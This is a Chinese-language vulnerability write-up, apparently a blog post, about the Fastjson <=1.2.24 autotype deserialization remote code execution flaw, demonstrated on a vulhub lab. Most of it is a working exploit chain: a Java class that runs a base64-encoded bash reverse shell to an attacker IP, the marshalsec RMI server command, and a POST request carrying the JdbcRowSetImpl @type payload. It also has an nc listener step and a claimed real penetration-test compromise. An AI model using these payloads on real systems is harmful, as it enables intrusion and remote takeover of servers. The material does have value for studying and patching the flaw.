为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

01 漏洞描述



Fastjason是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于其序列化jason文件速度快且中文文档非常全面,所以为国内广大开发人员所应用。


fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。由于1.2.24版本及之前版本的fast json对传入的参数没有检查过滤 只要再 “b”: { }内就会被反序列化。


02 影响范围


fastjson <=1.2.24

03 验证方式


在vulhub起靶场环境,访问页面后内容如下即为环境搭建成功。

在这里插入图片描述

测试fastjson成功请求的数据包,如下图所示

在这里插入图片描述

使用Burp抓包,将GET请求方式更改为POST请求,并随便输入一个json格式数据,发送数据包使其报错,看回显有com.alibaba.fastjson.JSON 特征

在这里插入图片描述


这里使用dnslog做漏洞进一步验证:

1、本地javac进行编译,生成class文件fastjson.class

import java.lang.Runtime;
import java.lang.Process;

public class fastjson{
  static {
    try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
      Process pc = rt.exec(commands);
      pc.waitFor();
    } catch (Exception e) {
      // do nothing
    }
  }
}


2、本地使用python开启http服务,将生成的fastjson.class文件放置http目录下

在这里插入图片描述


3、使用marshalsec开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名  自定义端口

在这里插入图片描述

4、构造恶意请求包,使得受攻击服务器向DNS服务器发起请求

POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetlmpl",
      "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
      "autoCommit":ture
  }
}


5、在dnslog查看到访问记录证明漏洞存在
在这里插入图片描述



04 利用方式


使用Fastjson远程代码执行漏洞进行反弹shell

1、本地javac进行编译,生成class文件Exploit.class

import java.lang.Runtime;
import java.lang.Process;

public class fastjson{
  static {
    try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
      Process pc = rt.exec(commands);
      pc.waitFor();
    } catch (Exception e) {
      // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
    }
  }
}


2、本地使用python开启http服务,将生成的Exploit.class文件放置http目录下

在这里插入图片描述

3、使用marshalsec开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名  自定义端口

在这里插入图片描述

4、在VPS上启用nc,监听8888端口

在这里插入图片描述


5、构造恶意请求包,使得受攻击服务器回弹shell

POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetlmpl",
      "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
      "autoCommit":ture
  }
}

在这里插入图片描述



05 实战案例


某渗透测试发现站点fastjson在解析json数据,进行dnslog验证后发现漏洞问题存在,进而构造恶意代码获取服务器shell,详情如下图所示:

在这里插入图片描述


在这里插入图片描述

在这里插入图片描述


06 修复方案


请联系厂商获取修复后的官方版:https://github.com/alibaba/fastjson/releases

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐